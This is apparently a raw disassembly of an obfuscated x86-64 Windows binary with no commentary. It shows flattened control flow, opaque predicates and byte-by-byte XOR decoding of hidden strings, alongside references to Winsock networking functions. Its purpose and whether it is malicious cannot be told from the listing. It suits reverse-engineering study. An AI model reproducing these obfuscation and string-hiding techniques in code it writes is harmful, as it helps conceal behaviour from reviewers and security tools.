cmp eax, 0x12ee4f96
jne 0x14001d816
mov eax, 0x4fc395ed
jmp 0x14001b33d
cmp eax, 0x4f66eba9
jg 0x14001b3d7
cmp eax, 0x254a3796
je 0x14001b43c
cmp eax, 0x3e3c4ce2
jne 0x14001b33d
movzx esi, byte [rbp + 0x11f]
movzx eax, byte [rbp + 0x15f]
mov r14d, esi
xor r14b, al
mov r14d, 0x9eb85e0c
mov r11d, 0x4f66ebaa
cmovne r14d, r11d
test al, al
mov eax, r14d
cmovne eax, r11d
test sil, sil
cmove eax, r14d
jmp 0x14001b33d
cmp eax, 0x9eb85e0c
je 0x14001b338
cmp eax, 0xa9203178
jne 0x14001b33d
mov eax, 0x254a3796
jmp 0x14001b33d
cmp eax, 0x4f66ebaa
je 0x14001d76f
cmp eax, 0x4fc395ed
jne 0x14001b33d
mov eax, dword [0x1402b5d20]
mov r11d, dword [0x1402b5d24]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete r14b
cmp r11d, 0xa
setl r12b
xor r12b, r14b
mov r14d, 0x12ee4f96
mov r12d, 0xbdd161c3
cmovne r14d, r12d
test eax, esi
mov eax, r14d
cmove eax, r12d
cmp r11d, 0xa
cmovge eax, r14d
jmp 0x14001b33d
mov rax, qword [rbp + 0x110]
lea r11, [rbp + 0x190]
mov qword [rax], r11
mov eax, 0xed9a6d3
jmp 0x14001b4b0
lea rax, [rbp + 0x190]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x188], r8
lea rax, [rbp + 0x160]
mov qword [rbp + 0x1e0], rax
mov eax, dword [0x1402b5d28]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete sil
mov eax, 0xa6a1a9a1
cmove eax, ebx
cmp dword [0x1402b5d2c], 0xa
cmovge eax, r13d
setl r14b
xor r14b, sil
cmovne eax, ebx
nop dword [rax + rax]
cmp eax, 0x5326c9a5
jg 0x14001b520
cmp eax, 0xed9a6d2
jg 0x14001b5c0
cmp eax, 0xa6a1a9a1
je 0x14001b673
cmp eax, 0xb44986b8
jne 0x14001b4b0
mov eax, dword [0x1402b5d28]
mov esi, dword [0x1402b5d2c]
lea r14d, [rax - 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp esi, 0xa
setl r12b
xor r12b, al
mov r12d, 0x5895d75c
cmovne r12d, r10d
cmp r14d, 0xffffffff
mov eax, r12d
cmove eax, r10d
cmp esi, 0xa
cmovge eax, r12d
jmp 0x14001b4b0
cmp eax, 0x713de1e3
jg 0x14001b65e
cmp eax, 0x5326c9a6
je 0x14001b454
cmp eax, 0x5895d75c
jne 0x14001b4b0
mov rax, qword [rbp + 0x1e0]
mov r11, qword [rbp + 0x130]
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x168], r11
mov r12, qword [rbp + 0x168]
movsx r11, byte [rax]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 0
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001b6b8
cmp r14d, 0xa3b0714
jne 0x14001b580
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001b580
cmp eax, 0xed9a6d3
je 0x14001b67d
cmp eax, 0x49aab3f8
jne 0x14001b4b0
mov rax, qword [rbp + 0x1e0]
mov rsi, qword [rbp + 0x130]
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x168], rsi
mov r12, qword [rbp + 0x168]
movsx rsi, byte [rax]
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x1e8], 0
mov r14d, 0xa3b0714
nop word cs:[rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001c6d0
cmp r14d, 0xa3b0714
jne 0x14001b620
mov r14, qword [rbp + 0x1e8]
add r14d, 0xb
mov r11, qword [rbp + 0x200]
mov esi, r14d
xor esi, r14d
not esi
and esi, r11d
xor esi, r14d
mov r14d, 0xd1ef75a6
jmp 0x14001b620
cmp eax, 0x77a3002b
jne 0x14001d753
mov eax, 0xb44986b8
jmp 0x14001b4b0
mov eax, 0x5326c9a6
jmp 0x14001b4b0
mov eax, dword [0x1402b5d28]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete sil
mov eax, 0xa6a1a9a1
cmove eax, r15d
cmp dword [0x1402b5d2c], 0xa
cmovge eax, r13d
setl r14b
xor r14b, sil
cmovne eax, r15d
jmp 0x14001b4b0
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12], r11b
movsx r11, byte [rax + 1]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 1
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001b71f
cmp r14d, 0xa3b0714
jne 0x14001b6f0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001b6f0
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12 + 1], r11b
movsx r11, byte [rax + 2]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 2
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001b77f
cmp r14d, 0xa3b0714
jne 0x14001b750
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001b750
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12 + 2], r11b
movsx r11, byte [rax + 3]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 3
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001b7df
cmp r14d, 0xa3b0714
jne 0x14001b7b0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001b7b0
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12 + 3], r11b
movsx r11, byte [rax + 4]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 4
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001b83f
cmp r14d, 0xa3b0714
jne 0x14001b810
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001b810
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12 + 4], r11b
movsx r11, byte [rax + 5]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 5
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001b89f
cmp r14d, 0xa3b0714
jne 0x14001b870
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001b870
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12 + 5], r11b
movsx r11, byte [rax + 6]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 6
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001b90a
cmp r14d, 0xa3b0714
jne 0x14001b8d0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001b8d0
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12 + 6], r11b
add r12, 7
mov qword [rbp + 0x170], r12
lea r11, [rax + 7]
mov qword [rbp + 0x178], r11
mov r12d, 0x42206ffc
jmp 0x14001b9a0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 0xc], r11b
mov byte [r12 + 0xd], 0
mov r11, qword [rbp + 0x168]
mov byte [r11 + 0x19], 1
mov r11d, dword [0x1402b5d30]
lea esi, [r11 + 1]
imul esi, r11d
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete r11b
mov r12d, 0xe387e907
cmove r12d, ecx
cmp dword [0x1402b5d34], 0xa
cmovge r12d, r9d
setl sil
xor sil, r11b
cmovne r12d, ecx
nop dword [rax]
cmp r12d, 0x23c4f721
jle 0x14001ba40
cmp r12d, 0x23c4f722
je 0x14001babe
cmp r12d, 0x25091560
je 0x14001c670
cmp r12d, 0x42206ffc
jne 0x14001b9a0
mov r11, qword [rbp + 0x178]
movsx r11, byte [r11]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 7
mov r14d, 0xa3b0714
nop word cs:[rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001bffe
cmp r14d, 0xa3b0714
jne 0x14001ba00
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001ba00
cmp r12d, 0xde88099a
je 0x14001c6bf
cmp r12d, 0xe387e907
jne 0x14001b9a0
mov r11, qword [rbp + 0x1d0]
movsx r11, byte [r11 + 0xb]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], select
mov r14d, 0xa3b0714
nop
cmp r14d, 0xd1ef75a6
je 0x14001c170
cmp r14d, 0xa3b0714
jne 0x14001ba80
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001ba80
mov r11, qword [rbp + 0x1d0]
movsx r11, byte [r11 + 0xb]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], select
mov r14d, 0xa3b0714
nop word cs:[rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001bb1f
cmp r14d, 0xa3b0714
jne 0x14001baf0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001baf0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov rsi, qword [rbp + 0x180]
mov byte [rsi], r11b
mov r12, qword [rbp + 0x180]
movsx r11, byte [rax + 0xc]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], select
mov r14d, 0xa3b0714
nop dword [rax]
cmp r14d, 0xd1ef75a6
je 0x14001bb8f
cmp r14d, 0xa3b0714
jne 0x14001bb60
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001bb60
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 1], r11b
movsx r11, byte [rax + 0xd]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_listen
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001bbef
cmp r14d, 0xa3b0714
jne 0x14001bbc0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001bbc0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 2], r11b
movsx r11, byte [rax + 0xe]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohl
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001bc4f
cmp r14d, 0xa3b0714
jne 0x14001bc20
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001bc20
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 3], r11b
movsx r11, byte [rax + 0xf]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001bcba
cmp r14d, 0xa3b0714
jne 0x14001bc80
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001bc80
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 4], r11b
movsx r11, byte [rax + 0x10]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_recv
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001bd1f
cmp r14d, 0xa3b0714
jne 0x14001bcf0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001bcf0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 5], r11b
movsx r11, byte [rax + 0x11]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_recvfrom
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001bd7f
cmp r14d, 0xa3b0714
jne 0x14001bd50
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001bd50
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 6], r11b
movsx r11, byte [rax + 0x12]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_select
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001bdea
cmp r14d, 0xa3b0714
jne 0x14001bdb0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001bdb0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 7], r11b
movsx r11, byte [rax + 0x13]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_send
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001be4f
cmp r14d, 0xa3b0714
jne 0x14001be20
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001be20
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 8], r11b
movsx r11, byte [rax + 0x14]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_sendto
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001beba
cmp r14d, 0xa3b0714
jne 0x14001be80
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001be80
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 9], r11b
movsx r11, byte [rax + 0x15]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_setsockopt
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001bf2a
cmp r14d, 0xa3b0714
jne 0x14001bef0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001bef0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 0xa], r11b
movsx r11, byte [rax + 0x16]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WLDAP32.dll_Ordinal_22
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001bf8f
cmp r14d, 0xa3b0714
jne 0x14001bf60
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001bf60
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 0xb], r11b
movsx r11, byte [rax + 0x17]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_socket
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001b93c
cmp r14d, 0xa3b0714
jne 0x14001bfc0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001bfc0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov rsi, qword [rbp + 0x170]
mov byte [rsi], r11b
mov r12, qword [rbp + 0x170]
movsx r11, byte [rax + 8]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 8
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001c07a
cmp r14d, 0xa3b0714
jne 0x14001c040
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c040
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 1], r11b
movsx r11, byte [rax + 9]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 9
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001c0df
cmp r14d, 0xa3b0714
jne 0x14001c0b0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c0b0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 2], r11b
movsx r11, byte [rax + 0xa]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 0xa
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c13f
cmp r14d, 0xa3b0714
jne 0x14001c110
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c110
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 3], r11b
add r12, 4
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x1d0], rax
mov r12d, 0x25091560
jmp 0x14001b9a0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov rsi, qword [rbp + 0x180]
mov byte [rsi], r11b
mov r12, qword [rbp + 0x180]
movsx r11, byte [rax + 0xc]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], select
mov r14d, 0xa3b0714
nop dword [rax]
cmp r14d, 0xd1ef75a6
je 0x14001c1df
cmp r14d, 0xa3b0714
jne 0x14001c1b0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c1b0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 1], r11b
movsx r11, byte [rax + 0xd]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_listen
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c23f
cmp r14d, 0xa3b0714
jne 0x14001c210
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c210
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 2], r11b
movsx r11, byte [rax + 0xe]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohl
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c2aa
cmp r14d, 0xa3b0714
jne 0x14001c270
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c270
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 3], r11b
movsx r11, byte [rax + 0xf]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001c30f
cmp r14d, 0xa3b0714
jne 0x14001c2e0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c2e0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 4], r11b
movsx r11, byte [rax + 0x10]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_recv
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c36f
cmp r14d, 0xa3b0714
jne 0x14001c340
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c340
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 5], r11b
movsx r11, byte [rax + 0x11]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_recvfrom
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c3cf
cmp r14d, 0xa3b0714
jne 0x14001c3a0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c3a0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 6], r11b
movsx r11, byte [rax + 0x12]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_select
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c43a
cmp r14d, 0xa3b0714
jne 0x14001c400
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c400
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 7], r11b
movsx r11, byte [rax + 0x13]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_send
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001c4aa
cmp r14d, 0xa3b0714
jne 0x14001c470
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c470
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 8], r11b
movsx r11, byte [rax + 0x14]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_sendto
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001c51a
cmp r14d, 0xa3b0714
jne 0x14001c4e0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c4e0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 9], r11b
movsx r11, byte [rax + 0x15]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_setsockopt
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001c57f
cmp r14d, 0xa3b0714
jne 0x14001c550
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c550
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 0xa], r11b
movsx r11, byte [rax + 0x16]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WLDAP32.dll_Ordinal_22
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c5df
cmp r14d, 0xa3b0714
jne 0x14001c5b0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c5b0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 0xb], r11b
movsx r11, byte [rax + 0x17]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_socket
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c63f
cmp r14d, 0xa3b0714
jne 0x14001c610
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c610
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 0xc], r11b
mov byte [r12 + 0xd], 0
mov r11, qword [rbp + 0x168]
mov byte [r11 + 0x19], 1
mov r12d, 0x23c4f722
jmp 0x14001b9a0
mov r11d, dword [0x1402b5d30]
mov esi, dword [0x1402b5d34]
lea r14d, [r11 - 1]
imul r14d, r11d
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete r11b
cmp esi, 0xa
setl r12b
xor r12b, r11b
mov r11d, 0xe387e907
cmovne r11d, edi
cmp r14d, 0xffffffff
mov r12d, r11d
cmove r12d, edi
cmp esi, 0xa
cmovge r12d, r11d
jmp 0x14001b9a0
mov rax, qword [rbp + 0x168]
mov eax, 0x49aab3f8
jmp 0x14001b4b0
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12], r11b
movsx r11, byte [rax + 1]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 1
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c73a
cmp r14d, 0xa3b0714
jne 0x14001c700
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c700
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12 + 1], r11b
movsx r11, byte [rax + 2]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 2
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001c7aa
cmp r14d, 0xa3b0714
jne 0x14001c770
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c770
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12 + 2], r11b
movsx r11, byte [rax + 3]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 3
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001c80f
cmp r14d, 0xa3b0714
jne 0x14001c7e0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c7e0
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12 + 3], r11b
movsx r11, byte [rax + 4]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 4
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c86f
cmp r14d, 0xa3b0714
jne 0x14001c840
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c840
